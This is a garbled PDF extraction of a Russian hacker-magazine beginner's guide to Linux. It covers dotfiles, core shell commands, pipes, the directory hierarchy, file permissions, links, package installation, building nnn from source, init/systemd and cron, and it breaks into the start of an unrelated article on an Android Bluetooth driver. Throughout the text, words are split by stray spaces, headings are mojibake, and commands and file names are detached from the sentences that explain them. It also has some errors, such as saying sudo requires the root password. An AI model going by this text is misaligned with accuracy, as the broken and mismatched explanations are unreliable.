ный путь к исполня емо му фай лу, либо явно ука зать на текущий каталог. Как ты
зна ешь, родитель ский каталог отме чает ся дву мя точ ками  а что бы ука- 

зать на текущий, нуж но писать  То есть вмес то  пиши 
и все получит ся!

$PATH

( ),../
../ program ,./program

И еще один очень важ ный момент. В Windows тип фай ла опре деля ется его
рас ширени ем — в зависи мос ти от него коман дный интер пре татор и обо лоч ка
реша ют, как они будут обра баты вать файл. В Linux все устро ено нем ного
по-дру гому: у bash пол ностью отсутс тву ет какое-либо ува жение к рас ширени- 
ям фай лов. Исполня емый файл отли чает ся от обыч ного не рас ширени ем,
а наличи ем пра ва на его исполне ние: если оно есть, сис тема счи тает такой
файл прог раммой (или скрип том) и пыта ется выпол нить. О пра вах на фай лы
мы под робнее погово рим чуть даль ше в соот ветс тву ющем раз деле.

ÄÎÌÀØÍÈÉ ÊÀÒÀËÎÃ È ÑÊÐÛÒÛÅ ÔÀÉËÛ

Пос коль ку Linux изна чаль но задумы вал ся как мно гополь зователь ская опе- 
раци онная сис тема, все пути к «домаш ним» пап кам, перемен ные окру жения,
прог раммы, которые запус кают ся при откры тии тер минала, и дру гие нас трой- 
ки зада ются в про филе поль зовате ля. У раз ных юзе ров они, соот ветс твен но,
раз ные. Бла года ря это му ты можешь, нап ример, нас тро ить сис темное окру- 
жение так, как ком фор тно имен но тебе.

Что бы ука зывать на домаш ний каталог, очень удоб но исполь зовать сим вол
. Так, вмес то  мож но писать прос то  если ты залоги нен

как .

~ /home/vasya/ ,~/
vasya
В Linux час то встре чает ся то, что в Windows поп росту невоз можно: фай лы,

имя которых начина ется с точ ки (поль зовате ли вин ды с неп ривыч ки дума ют,
буд то это фай лы без име ни, име ющие одно толь ко рас ширение). На самом
деле в Linux так обоз нача ют скры тые фай лы. Нап ример, имя 

говорит нам о том, что этот файл скры тый, — бла года ря наличию точ ки
перед име нем его лег ко отли чить от дру гих фай ловых объ ектов.

.htacess

В домаш нем катало ге поль зовате ля хра нит ся нес коль ко скры тых фай лов,
которые могут быть очень полез ны при работе в Linux. Что бы прос мотреть
скры тые фай лы в текущем катало ге, исполь зуй кон соль ную коман ду 

или поковы ряй ся в меню фай лового менед жера: нап ример, в Nautilus пункт
«Показать скры тые фай лы» пря чет ся в меню «Вид». Обра ти вни мание на сле- 
дующие скры тые фай лы:

ls -a

 — содер жит информа цию о поль зователь ском окру- 
жении и запус каемых при авто риза ции поль зовате ля прог раммах.
В некото рых дис три бути вах, осно ван ных на Debian, дан ного фай ла
по умол чанию не сущес тву ет, но ты можешь соз дать его самос тоятель но;

• .bash_profile

 — этот файл исполня ется, если отсутс тву ет 
, и выпол няет схо жую фун кцию. Это го фай ла не сущес тву ет

по умол чанию ни в дис три бути ве Debian, ни в дис три бути ве Red Hat;

• .bash_login .
bash_profile

 — выпол няет ся при отсутс твии  и 
;

• .profile .bash_profile .
bash_login

 — сце нарий, который выпол няет ся авто мати чес ки
при завер шении работы коман дной обо лоч ки;

• .bash_logout

 — хра нит информа цию обо всех коман дах, наб ранных
в bash;

• .bash_history

 — каталог, в котором хра нят ся клю чи шиф рования для под клю чения
по SSH;

• .ssh

 — сце нарий, который обыч но нас тра ивает ся дру гими сце нари- 
ями для сво их собс твен ных нужд — нап ример, запус ка демонов или обра- 
бот ки каких-либо команд.

• .bashrc

Необходимый минимум команд
Итак, запоми най самые важ ные коман ды, если еще не зна ешь их:

 — чуть ли не самая важ ная коман да — она отоб ража ет справ ку
о коман де, наз вание которой ты напишешь сле дом;

• man

 (от сло ва list, спи сок) — перечис лить все фай лы в текущей дирек тории,
ана лог вин довой коман ды . Самые важ ные клю чи:  (all) — показы- 
вать скры тые фай лы,  (long) — показы вать под робнос ти,  (human) —
показы вать раз меры в «челове чес ких» еди ницах, а не в бай тах. Мож но
писать все клю чи сра зу: ;

• ls
dir -a

-l -h

ls -lha
 (change directory) — сме нить дирек торию. Даль ше мож но ука зать пап ку,

в которую ты хочешь перей ти;
• cd

 (print working directory) — узнать текущий путь;• pwd
 (copy) — ско пиро вать файл. Даль ше нуж но ука зать, что и куда копиро- 

вать;
• cp

 (move) — перемес тить файл. Тоже ука зыва ем какой, затем — куда;• mv
 (remove) — сте реть файл. Если сти раешь каталог, ука зывай опцию 

(recursive), что бы сте реть все под катало ги внут ри, под катало ги внут ри них
и так далее;

• rm -r

 и  — поменять пра ва на файл или вла дель ца фай ла;• chmod chown
 (concatenate) — при дума на, что бы объ еди нять фай лы, но час то

исполь зует ся, что бы все го лишь вывес ти содер жимое тек сто вого фай ла.
Прос то напиши его наз вание пос ле ;

• cat

cat
 — если файл длин ный, то его удоб но прок ручивать. Для это го и при- 

дума на коман да ;
• less

less
 и  — с опци ей  показы вают сколь ко-то строк

от начала ( ) или кон ца ( ) ука зан ного фай ла;
• head tail -n число

head tail
 — поиск в стро ке по подс тро ке или регуляр ному выраже нию;• grep
 — поиск фай лов;• find

 (make directory) — соз дание дирек тории;• mkdir
 — соз дание пус того фай ла. Прос то ука жи его наз вание;• touch

 — выпол нить сле дующую далее коман ду от име ни супер поль зовате- 
ля;

• sudo

 (disk free) — пос мотреть, сколь ко на дис ках сво бод ного мес та.
Рекомен дую писать  по ана логии с ;

• df
df -h ls -h

 (disk usage) — узнать, сколь ко занима ет каталог. Тоже есть опция ;• du -h
 (processes) — пос мотреть спи сок запущен ных тобой про цес сов и их

иден тифика торы;
• ps

 и иден тифика тор — завер шить какой-то про цесс.• kill

Нес коль ко важ ных сетевых команд:
 — попин говать узел;• ping

 — узнать информа цию об узле;• nslookup
 — прос ледить путь пакетов до узла;• traceroute

 — информа ция об откры тых пор тах и соеди нени ях;• netstat
 — информа ция о регис тра ции домена.• whois

По мимо это го, в Linux обыч но есть нес коль ко ути лит, которые силь но
облегчат тебе жизнь. Если их нет, то сто ит их уста новить:

 — популяр ней шая сис тема кон тро ля вер сий, как и ядро Linux, соз- 
данная Линусом Тор валь дсом;

• git

 — прос тей ший тек сто вый редак тор, работа ющий в тер минале;• nano
 и  — думаю, ты догады ваешь ся, зачем они нуж ны;• unzip unrar

 нужен для веб-зап росов;• curl
 — для ска чива ния боль ших фай лов;• wget
 показы вает уро вень заг рузки сис темы и спи сок про цес сов.• htop

 вый ти из прог рамм, которые не зак рыва ются сами, обыч но мож но,

нажав Q. Прер вать работу — Ctrl-C. А что бы вый ти из , если ты его открыл

слу чай но, набери пос ледова тель ность  и наж ми Enter.

Âàæ íî:

vim
:q!
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LINUX ЗА 30 МИНУТ
РУКОВОДСТВО ПО ВЫБОРУ

И ИСПОЛЬЗОВАНИЮ LINUX ДЛЯ НОВИЧКОВ

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÂÂÎÄ-ÂÛÂÎÄ È ÏÀÉÏÛ

Боль шинс тво прог рамм, работа ющих из коман дной стро ки, при нима ют дан- 
ные на вход и что-то выда ют на выходе. При этом вывод одной прог раммы
мож но нап равить на ввод дру гой и таким обра зом дос тичь какой-то более
слож ной цели или авто мати зиро вать какой-то про цесс. Давай раз берем ся
под робнее.

Стан дар тный поток вво да, к которо му по умол чанию «при вяза на» кла- 
виату ра, называ ется standard input (stdin). Стан дар тный поток вывода носит
наз вание standard output (stdout). Сущес тву ет и отдель ный поток вывода,
пред назна чен ный исклю читель но для сооб щений об ошиб ках. Он называ ется
standard error, или stderr. По умол чанию с эти ми дву мя потока ми вывода свя- 
зан монитор.

По токи при ложе ний и команд мож но перенап равлять в фай лы или в дру гие
коман ды. Пос коль ку стан дар тные потоки вво да-вывода пред назна чены
в основном для обме на тек сто вой информа цией, такое перенап равле ние
поз воля ет наладить «обще ние» прог рамм меж ду собой.

Са мый прос той при мер подоб ного обще ния — это ког да мы переда ем
стан дар тный вывод (stdout) одной прог раммы на стан дар тный ввод (stdin)
дру гой. Такой вари ант перенап равле ния обоз нача ется в Linux сим волом 

и называ ется тер мином «кон вей ер» или «пайп» (pipe). Нап ример, если мы
исполь зуем запись вида , это будет озна чать, что

весь стан дар тный вывод коман ды 1, который по умол чанию был бы нап равлен
на дис плей (stdout), будет передан на стан дар тный ввод (stdin) коман ды 2.
Это и есть реали зация прос тей шего пай па или кон вей ера.

|

команда 1 | команда 2

Воз можно, ты уже натыкал ся на исполь зование пай пов в сочета нии
с коман дой , пред назна чен ной для филь тра ции тек сто вых дан ных.
Работа ет она так:

grep

 $ команда | grep [опции] шаблон 

где  — это коман да, стан дар тный вывод которой перенап равля ется

коман де ; 

 — это раз личные парамет ры поис ка; 
 — стро ка или зна чение, которые мы ищем.

команда
grep

опции
шаблон

Нап ример, коман да  озна чает, что мы, получив спи сок

содер жимого текущей дирек тории c помощью кон соль ной коман ды , ищем

в нем файл или пап ку, в име ни которых содер жится стро ка .

ls | grep string
ls

string
Еще вывод коман ды быва ет удоб но перенап равить в файл. Напиши 

 и получишь файл  с под робным перечис лени- 

ем все го, что содер жится в текущем катало ге.

,ls -lha > list.txt list.txt

Полезные шпаргалки
Вся мощь команд Linux — в допол нитель ных парамет рах, которые ты можешь
ука зать. Что бы узнать о них, нуж но читать справ ку (man), но есть спо собы
схит рить и облегчить себе жизнь.

 — сок ращен ная вер сия man, в которой дотош ные опи сания

пок ромса ли до абсо лют ного миниму ма ( );

• tldr pages

под робнее
 — онлай новая база дан ных с при мера ми популяр ных вари антов

команд ( );

• cheat.sh

под робнее
 — похожая шту ка, но офлай новая и с под сказ ками «на лету» (
);

• Marker под-
робнее

 — сер вис, который авто мати чес ки раз бира ет слож ную

коман ду и объ ясня ет зна чение ее сос тавных час тей.

• explainshell.com

За пом нить все парамет ры всех команд невоз можно, поэто му даже заяд лые
линук соиды при бега ют к таким хит ростям (и неус танно изоб рета ют всё
новые)!

ÔÀÉËÎÂÛÅ ÑÈÑÒÅÌÛ

В Linux есть под дер жка раз ных фай ловых сис тем. Любой сов ремен ный Linux
по умол чанию уста нав лива ется на ext4 и тре бует соз дания отдель ного раз- 
дела типа Swap (ана лог фай ла под качки в Windows). Помимо это го, обыч но
под держи вают ся дис ки ext2 и ext3, XFS и FAT раз ных вер сий. В Ubuntu
и некото рых дру гих дис три бути вах из короб ки дос тупна работа с раз делами
NTFS на чте ние и запись. Что до маков ских HFS+ и APFS, то для них обыч но
тре бует ся отдель ный драй вер.

Что бы работать с какой-то ФС (рас положен ной на жес тком дис ке или на
внеш нем носите ле), ее нуж но при мон тировать, а перед завер шени ем
работы — демон тировать. За это отве чают коман ды  и . В фай ле

 ука зыва ются сис темы, которые Linux будет мон тировать авто- 
мати чес ки при заг рузке.

mount umount
/etc/fstab

От дель ного упо мина ния зас лужива ет сис тема FUSE — Filesystem
in Userspace (в про тиво вес под дер жке на уров не ядра). Через эту шту ку мож-
но под клю чать непод держи ваемые по умол чанию фай ловые сис темы
или даже сде лать подобие фай ловой сис темы из API облачно го сер виса.
Под робнее об этом читай в статье «

».

Все есть файл! Мон тиру ем Git-репози- 
тории, FTP- и SSH-ресур сы, ZIP-архи вы, тор ренты, маг нитные ссыл ки и мно- 
гое дру гое

ÑÈÑÒÅÌÀ ÊÀÒÀËÎÃÎÂ

В любой ОС есть катало ги с сис темны ми фай лами, которые луч ше не тро гать
без лиш ней надоб ности. Но если в Windows пап ки с сис темой прос то лежат
в сто рон ке, то в Linux все наобо рот: ты работа ешь внут ри уже задан ной струк- 
туры катало гов, при чем во мно гие из них мож но и нуж но заг лядывать.

Од на из при чин такой орга низа ции в том, что фай лами в Linux могут быть
не толь ко дан ные на дис ке, но и пор ты, про цес сы и дру гие сущ ности. Как ты
можешь догадать ся, читать и писать в них теми же средс тва ми, что и при
работе с обыч ными фай лами, иног да очень удоб но.

Сле ши «не в ту сто рону» вряд ли тебя сму тят, но гораз до более неп ривыч- 
но пос ле Windows то, что пути пол ностью вир туаль ны и никак не свя заны
с дис ками. Дан ные по раз ным путям могут быть на раз ных раз делах, на раз- 
ных носите лях или даже на раз ных компь юте рах.

Итак, давай пос мотрим на струк туру катало гов, которую ты уви дишь поч ти
в любом Linux:

 — кор невая пап ка, или, как ее еще называ ют, root directory — пап ка,
в которой хра нит ся все осталь ное содер жимое фай ловой сис темы;

• /

 (от сло ва binary) — здесь лежат дво ичные исполня емые фай лы
со все ми основны ми коман дами;

• /bin

 — здесь рас положен заг рузчик и ядро ОС (фай лы  —
это как раз оно и есть);

• /boot vmlinuz

 — фай лы в этой пап ке — это пор ты и устрой ства. Работая с эти ми
фай лами, при ложе ния и драй веры могут обме нивать ся информа цией нап- 
рямую с обо рудо вани ем. Впро чем, некото рые фай лы — это не нас тоящие
устрой ства, а вир туаль ные. Нап ример, зна мени тый  при нима ет
любую информа цию и ничего с ней не дела ет, а  генери рует
слу чай ные чис ла;

• /dev

/dev/null
/dev/random

 — в этой пап ке содер жатся обще сис темные фай лы кон фигура ции
(тог да как поль зователь ские фай лы кон фигура ции находят ся в домаш нем
катало ге каж дого поль зовате ля). Если ты адми нис тра тор сис темы, то сюда
при дет ся час то заг лядывать при нас трой ке раз ных прог рамм;

• /etc

 — в этой пап ке содер жатся домаш ние катало ги поль зовате лей
Linux. Нап ример, если твое имя поль зовате ля — , твоя домаш няя
пап ка будет называть ся ;

• /home
xakep

/home/xakep/
 — пап ка для хра нения биб лиотек, необ ходимых исполня емым фай- 

лам в пап ках  и ;
• /lib

bin sbin
 — в эту пап ку сох раня ются вос ста нов ленные в слу чае сис- 

темно го сбоя фай лы;
• /lost+found

 — в некото рых сис темах допол нитель ный каталог, где отоб ража- 
ются все смон тирован ные в сис теме съем ные носите ли информа ции.
В ста рых ОС может называть ся ;

• /media

/cdrom
 — пап ка, содер жащая вре мен ные точ ки мон тирова ния: сюда мон- 

тиру ются фай ловые сис темы для вре мен ного исполь зования;
• /mnt

 — каталог содер жит под катало ги для допол нитель ных пакетов прог- 
рам мно го обес печения. Обыч но исполь зует ся проп риетар ным ПО,
которое не под чиня ется стан дар тной иерар хии фай ловой сис темы Linux;

• /opt

 — каталог со спе циаль ными фай лами, которые пре дос тавля ют
информа цию о сис теме и про цес сах;

• /proc

 — домаш ний каталог супер поль зовате ля root;• /root
 — этот каталог пре дос тавля ет при ложе ниям стан дар тное мес то

для фай лов, сущес тву ющих толь ко во вре мя работы сис темы (отсю да наз- 
вание), таких как сокеты и иден тифика торы про цес сов;

• /run

 — эта пап ка по сво ему наз начению ана логич на пап ке . Здесь
лежат дво ичные исполня емые фай лы, которые обыч но пред назна чены
для запус ка поль зовате лем  в целях сис темно го адми нис три рова ния;

• /sbin bin

root
 — пап ка для хра нения вре мен ных фай лов по умол чанию;• /tmp
 — содер жит дан ные о сер висах, пре дос тавля емых сис темой;• /srv
 — в этой пап ке содер жатся при ложе ния и фай лы поль зовате лей сис- 

темы. В ста рых Unix это был ана лог , но затем эти вещи раз делили.
Условно: в  — прог раммы, в  — вся кое барах ло. Находя щиеся
здесь катало ги ,  и  рань ше име ли то же
наз начение, что и ана логи, лежащие в кор не, но для фай лов поль зовате- 
лей (в то вре мя как пап ки в кор не — для фай лов, исполь зуемых самой сис- 
темой). А еще есть каталог , где есть свои ,  и !
Ког да-то под разуме валось, что здесь будут прог раммы, спе цифич ные
для кон крет ного компь юте ра, то есть в теории завися щие от его железа.
На прак тике софт сюда попада ет по самым раз ным при чинам;

• /usr
/home

/usr/ /home
/usr/bin /usr/sbin /usr/lib

/usr/local bin sbin lib

 — от сло ва variable, то есть что-то, что может менять ся. Здесь лежат
бэкапы, кеши, биб лиоте ки, логи и тому подоб ные вещи. Одна из важ ных
дирек торий — это , где хра нят ся дан ные веб-сай тов, если
на машине уста нов лен веб-сер вер.

• /var

/var/www

В сов ремен ной Ubuntu /bin, /sbin и /lib — это сим воличес кие ссыл ки
на соот ветс тву ющие катало ги в /usr

Ес ли эта сис тема катало гов кажет ся тебе нем ного запутан ной, не вол нуй ся,
это совер шенно нор маль но! Она соз давалась годами, и что вырос ло, то
вырос ло. Упро щать ее в бли жай шем будущем ник то не собира ется, пос коль ку
она стан дар тна и любые изме нения пов лияют на сов мести мость.

ÏÎËÜÇÎÂÀÒÅËÈ, ÏÐÀÂÀ ÍÀ ÔÀÉËÛ

Linux изна чаль но задумы вал ся как мно гополь зователь ская сис тема, а потому
раз деление фай лов и про филей поль зовате лей здесь орга низо вано
на высочай шем уров не. Поль зователь с огра ничен ными пра вами в сис теме
может вза имо дей ство вать с теми или ины ми фай лами и катало гами.

Важ но пом нить, что в Linux сущес тву ет супер поль зователь с име нем ,

обла дающий пол ными адми нис тра тор ски ми при виле гиями в опе раци онной
сис теме, — так ска зать, самый глав ный босс всех бос сов. Он может соз- 
давать и уда лять учет ки дру гих юзе ров и вооб ще менять гло баль ные нас трой- 
ки ОС. Любой юзер может вре мен но побывать в роли  с помощью коман- 

ды  (Substitute User and do, дос ловно «под менить поль зовате ля и выпол- 
нить»). Но сра бота ет этот sudo, толь ко если ты зна ешь пароль от учет ной
записи супер поль зовате ля.

root

root
sudo

Каж дому фай лу в Linux наз нача ется набор раз решений, опре деля ющих,
кто и что может делать с этим фай лом. Эти раз решения обоз нача ются спе- 
циаль ными бук вами:

 (read) — раз решение на чте ние фай ла;• r
 (write) — раз решение на запись в файл;• w
 (execute) — раз решение на запуск фай ла;• x
 (про черк) — раз решение не уста нов лено.• -

Важ но пом нить, что катало ги Linux тоже счи тает фай лами, поэто му для них
дей стви тель ны все те же раз решения и огра ниче ния. Одна ко ука зан ные раз- 
решения не име ли бы боль шого смыс ла, если бы они рас простра нялись
на всех поль зовате лей опе раци онной сис темы. К счастью, это не так: в Linux
име ется три катего рии поль зовате лей, для каж дой из которых мож но уста нав- 
ливать свои собс твен ные раз решения дос тупа к фай лам:

 — поль зователь, который соз дал этот файл или наз начен его
вла дель цем. Вла дель цем фай ла может быть не толь ко учет ная запись, но и
сама опе раци онная сис тема или при ложе ние, которое соз дало файл;

• âëà äåëåö

 — груп па поль зовате лей, «при вязан ная» к дан ному фай лу. Ты
можешь узнать, к какой груп пе поль зовате лей отно сит ся твоя учет ная
запись, с помощью кон соль ной коман ды . Спи сок
всех зарегис три рован ных в сис теме групп обыч но хра нит ся в пап ке 

• ãðóï ïà

groups <username>

;/etc/group
 — все, кто не отно сит ся к вла дель цу фай лового объ екта или груп- 

пам поль зовате лей.

• äðó ãèå

Та ким обра зом, раз решения дос тупа к любому фай лу или пап ке мож но
записать в виде стро ки, сос тоящей из девяти сим волов и име ющей сле- 
дующий вид:

rwxrwxrwx 

Пер вые три сим вола здесь опре деля ют раз решения для вла дель ца фай- 
лового объ екта, вто рые — для груп пы, к которой отно сит ся вла делец фай ла
или пап ки, пос ледние три — для всех осталь ных. Раз решения всег да сле дуют
имен но в таком поряд ке: «чте ние, запись, запуск», то есть . Нап ример,
обоз начение вида  озна чает, что вла делец это го фай ла может

делать с ним что угод но, чле ны его груп пы — толь ко читать и писать в файл,
но не запус кать его (раз решение  не уста нов лено), а всем осталь ным поль- 
зовате лям сис темы файл дос тупен толь ко на чте ние.

rwx
rwxrw-r--

x

Ес ли эти раз решения уста нов лены для пап ки, это озна чает, что поль- 
зовате ли груп пы так же не смо гут запус кать хра нящи еся в ней фай лы, а про- 
чим поль зовате лям открыт дос туп к содер жимому пап ки исклю читель но
в режиме read only.

Прос мотреть пра ва и раз решения фай лов и папок мож но с помощью кон- 
соль ной коман ды , снаб женной клю чом .ls -l

Что бы изме нить пра ва дос тупа, сущес тву ет коман да  (Change Mode).

При помощи этой коман ды мож но даже не про писы вать все тре буемые раз- 
решения вруч ную: для лен тяев в Linux пре дус мотре ны циф ровые обоз начения
стан дар тных наборов раз решений. Нап ример, коман да 

прис воит фай лу  раз решения  (каж дый поль зователь

име ет пра во читать и запус кать на выпол нение; вла делец может редак- 
тировать),  даст на выходе  (все могут делать

все, что захотят), а «дьяволь ская» коман да  — вер нет

 (все поль зовате ли могут читать и редак тировать файл).

chmod

chmod 755 filename
filename rwxr-xr-x

chmod 777 filename rwxrwxrwx
chmod 666 filename

rw-rw-rw-
В сов ремен ном Linux сущес тву ют еще так называ емые спе циаль ные раз- 

решения, но их мы рас смат ривать не будем: для начала информа ции впол не
дос таточ но, что бы чувс тво вать себя в сис теме более-менее уве рен но.

ÑÑÛËÊÈ

В Windows сущес тву ют ярлы ки — что это такое, объ яснять, дума ем, никому
не нуж но. В Linux вмес то них ссыл ки, при чем двух видов — жес ткие и сим- 
воличес кие.

Жес ткая ссыл ка — это, счи тай, наз вание фай ла. Прос то в Linux их у фай ла
может быть нес коль ко, при чем находить ся они могут в раз ных катало гах. Сле- 
дова тель но, если ты соз дашь жес ткую ссыл ку, а потом уда лишь исходный
файл, то он по-преж нему будет дос тупен по ссыл ке — ведь она ничем не хуже
исходно го наз вания, которое ты стер!

Ес ли же ты уда лишь пос леднюю жес ткую ссыл ку, фай ловая сис тема боль- 
ше не будет счи тать, что файл сущес тву ет, и приз нает мес то, где он рас- 
положен, при год ным для записи дру гой информа ции.

Сим воличес кие ссыл ки боль ше похожи на стан дар тные ярлы ки Windows.
Они содер жат адрес целево го фай ла или катало га (жес тких ссы лок на каталог
не быва ет), и если он исчезнет, то ссыл ка будет вес ти «в никуда».

Жес ткие ссыл ки соз дают ся коман дой , а если нуж но сде- 

лать сим воличес кую ссыл ку, добавь ключ .

ln файл ссылка
-s

ÓÑÒÀÍÎÂÊÀ ÑÎÔÒÀ

Те бе, конеч но, ник то не меша ет заг рузить прог рамму в виде одно го бинар- 
ного фай ла и запус тить. Глав ное — не забыть дать ему пра ва на исполне ние!
Но такие отдель но сто ящие фай лы — ред кость. Обыч но, что бы прог рамма
работа ла, в сис тему нуж но уста новить сра зу мно го все го. Имен но поэто му
прог раммы рас простра няют ся в виде пакетов через репози торий.

Нап ример, в Ubuntu для уста нов ки пакета дос таточ но написать 

. Одна ко рекомен дует ся сна чала сде лать ,
что бы ОС обно вила свой спи сок пакетов и узна ла о выходе новых вер сий.

sudo apt 
install пакет sudo apt update

Важ ное отли чие Linux зак люча ется в том, что прог рамма пос ле уста нов ки
будет раз бро сана по раз ным катало гам. Исполня емые фай лы — в свой
каталог, гра фичес кие ресур сы — в свой, нас трой ки — в свой, и так далее.
При этом прог раммы обыч но исполь зуют общие биб лиоте ки, что нем ного
эко номит мес то на дис ке, но иног да соз дает неудоб ные ситу ации с вер сиями
биб лиотек.

При исполь зовании такой сис темы уста нов ки прак тичес ки бес полез но
пытать ся выяс нить, куда же уста нови лась прог рамма. Если тебе вдруг
понадо бит ся уда лить ее, пиши , и его содер жимое покинет

твой диск, а вмес те с ним уйдут и все ком понен ты, которые ник то, кро ме него,
не исполь зовал.

apt remove пакет

Но Linux — это стра на сво бод ных исходных кодов, а потому сбор ка прог- 
раммы из исходни ков — обыч ное дело. Счи тай, что вмес то крес ла ты купил
«конс трук тор» из IKEA. Важ ное отли чие от нее зак люча ется в том, что вмес то
инс трук ции со смеш ными человеч ками ты получа ешь Makele — сце нарий
для прог раммы , который соберет все сам на авто пило те. А по дороге он

изу чит и учтет все осо бен ности тво ей сис темы либо наруга ется на тебя из-за
отсутс твия каких-то ком понен тов (в отли чие от пакет ного менед жера,
который уста новил бы их сам).

make

Итак, пред положим, ты нашел на гит хабе ути литу  (это такой минима- 
лис тичный фай ловый менед жер, работа ющий в тер минале) и хочешь ее уста- 
новить из исходни ков. Тебе понадо бит ся сде лать сле дующее.

nnn

1. Удос товерить ся, что у тебя в сис теме есть сам Git. Если его нет — уста- 
нови:

apt git sudo install 

2. Ус тановить зависи мос ти для nnn. Все их собирать из исходни ков — нем- 
ного слиш ком, поэто му прос то пиши

apt sudo install pkg-config libncursesw5-dev libreadline-dev 

3. Те перь пора дос тать  с GitHub. Это дела ется такой коман дой:nnn

git clone https://github.com/jarun/nnn.git 

4. За ходи в ска чан ный каталог: .cd nnn
5. Пи ши  и жми Enter. Эта коман да най дет Makele и выпол нит инс трук- 

ции по ком пиляции.
make

6. Пи ши  — эта коман да раз ложит соз данные бинар ные

фай лы по катало гам.

sudo make install

Го тово! Можешь писать , находясь в любом катало ге, и фай ловый менед- 

жер запус тится.

nnn

Сбор ка nnn

nnn

Об рати вни мание, это была лишь демонс тра ция. В реаль нос ти про ще и луч- 
ше будет уста новить вер сию nnn из репози тория. В таком слу чае пакет ный
менед жер смо жет обновлять уста нов ленную прог рамму и уда лить под чистую,
если понадо бит ся. Сбор ка из исходных кодов может понадо бить ся, если
софт ред кий или нуж на самая-самая новая вер сия.

Кста ти, помимо бинар ных пакетов, в репози тори ях быва ют и пакеты
с исходни ками. Их сбор ка прой дет на авто мате и поз волит не морочить ся
с уста нов кой зависи мос тей.

В пос леднее вре мя набира ют популяр ность новые сис темы уста нов ки,
в которых прог раммы рас простра няют ся вмес те со все ми зависи мос тями
и биб лиоте ками: AppImage, Flatpak и Snap. Это менее эко ном ный метод,
но более удоб ный и надеж ный. Так же некото рые прог раммы удоб но уста нав- 
ливать через Docker — то есть вмес те с мини атюр ным обра зом Linux. Но раз- 
говор обо всем этом выходит за рам ки сегод няшней статьи.

INIT È SYSTEMD

В Unix и Linux боль шую роль игра ет про цесс ини циали зации сис темы,
за который отве чает ути лита init. Древ ние юник сы до пятой вер сии прос то
исполня ли скрипт при вклю чении — счи тай, ана лог autoexec.bat. Ког да соф та
ста ло слиш ком мно го, приш лось добавить такое понятие, как runlevel.

Сис тема при заг рузке перехо дит из одной ста дии в дру гую и при каж дом
перехо де запус кает скрип ты из опре делен ной пап ки , где X —

один из уров ней заг рузки:

/etc/rcX.d/

0 — сис тема вык лючена;•
1 — одно поль зователь ский режим;•
2 — мно гополь зователь ский;•
3 — с под дер жкой сети;•
5 — пол ная заг рузка;•
6 — перезаг рузка.•

Так, если добавить ссыл ку на скрипт в пап ку , то он будет исполнять ся

каж дый раз перед вык лючени ем.

rc0.d

/etc/rc* в Ubuntu

Имен но так сис тема дела ет все, что ей положе но делать, — нап ример, запус- 
кает про вер ку дис ка пос ле вне зап ного вык лючения, ротиру ет логи, запус кает
и оста нав лива ет работа ющие в фоне служ бы (в Unix и Linux они называ ются
демона ми).

В сов ремен ном Linux на сме ну этой сис теме приш ла еще более изощ- 
ренная — systemd. Она может заод но рулить устрой ства ми и сетевы ми
соеди нени ями и делать дру гие вещи. В systemd для каж дого дей ствия
или служ бы соз дают ся кон фигура цион ные фай лы, в которых ука зано, ког да
и при каких усло виях нуж но что-то запус кать или оста нав ливать. Най ти их спи- 
сок ты можешь в , а работа ют с ними при помощи коман ды

.
/lib/systemd/

service
При этом сис тема с уров нями заг рузки пока что тоже под держи вает ся

в популяр ных дис три бути вах, нес мотря на при сутс твие systemd. Ина че
были бы проб лемы с сов мести мостью.

INFO

Под робнее о systemd читай в статье «

».

По лез ный
демон. Как перес тать боять ся systemd и сде лать
свой сер вис для Linux

ÏÐÎ×ÈÅ ÏÐÈËÎÆÅÍÈß

При нас трой ке сети в Linux ты, ско рее все го, стол кнешь ся с iptables — стан- 
дар тным фай рво лом и частью сис темы Netlter. Если ты выб рал Ubuntu, то
нас тра ивать его мож но при помощи удоб ной ути литы .ufw

Дру гая полез ней шая ути лита в Linux — это cron. Она дела ет при мер но то
же, что и пла ниров щик заданий в Windows. В новых сис темах cron работа ет
бок о бок с уже упо мяну тым (и гораз до более наворо чен ным) systemd, одна ко
исполь зовать cron гораз до про ще. Все го лишь напиши , и в тек- 
сто вом редак торе откро ется файл со спис ком прог рамм, которые запус кают- 
ся в опре делен ное вре мя. Фор мат обыч но опи сан там же.

crontab -e

WWW

Сайт  очень силь но упро щает работу
с crontab.

crontab.guru

ÈÒÎÃÈ

Про дол жать рас ска зывать о Linux мож но прак тичес ки бес конеч но, одна ко мы
оста вим это дру гим стать ям. Нашей целью не было заменить этим тек стом
серь езные кни ги по Linux. Мы лишь хотели дать необ ходимый минимум тем,
кто хочет начать пос корее раз бирать ся на прак тике. Наде емся, что нам уда- 
лось снаб дить тебя необ ходимым набором началь ных зна ний, которые
помогут тебе не заб лудить ся и не про пасть в тем ных зако улках Linux!

https://tldr.sh/
https://xakep.ru/2017/12/15/www-tldr-pages/
https://github.com/chubin/cheat.sh
https://xakep.ru/2018/07/13/www-cheatsh/
https://github.com/pindexis/marker
https://xakep.ru/2019/03/06/www-marker/
https://explainshell.com/
https://xakep.ru/2017/08/07/fs-tricks/
https://github.com/jarun/nnn
https://xakep.ru/2019/10/31/systemd/
https://crontab.guru/


ДЛЯ АНДРОИДА
BLUETOOTH

ПОРТИРУЕМ С  НА 
ДРАЙВЕР USB-АДАПТЕРА

LINUX ANDROID

Игорь Орещенков
r0bur@tut.by

ТРЮКИ

Не все USB-устрой ства начина ют работать
на Android сра зу пос ле под клю чения. В этой
статье я покажу, как решить проб лему,
на при мере широко рас простра нен ного
Bluetooth-адап тера CSR 4.0. Нам понадо- 
бит ся соб рать из исходни ков ядро Linux
и покопать ся в интерфей сной биб лиоте ке
Android.

Сов ремен ное железо ред ко пред полага ет что-то доделы вать руками
или допили вать в про шив ках. Одна ко есть целый класс устрой ств «ноунейм»,
которые прос то-таки взы вают к уме лым рукам и пыт ливым умам. Нем ного
сме кал ки, и мож но зас тавить их работать не хуже име нитых ана логов.

Вот, нап ример, ничем не при меча тель ная ТВ-прис тавка в виде чер ной
квад ратной плас тиковой короб ки с над писью «MXQ Pro 4K» на крыш ке и бюд- 
жетной начин кой: SOC RK3229, 1 Гбайт RAM и 8 Гбайт NAND. У меня она уже
око ло года поч ти бес перебой но тран сли рова ла на телеви зор YouTube
и каналы интернет-телеви дения, музици рова ла и сооб щала све жие новос ти.

В самом начале ее муль тимедий ной жиз ни харак тер у прис тавки был
строп тивый, и при каж дом удоб ном слу чае она норови ла завис нуть
или перезаг рузить ся. Эту проб лему уда лось решить, уста новив сгла жива- 
ющий филь тр в цепи питания и заменив ком плектный блок питания более
качес твен ным.

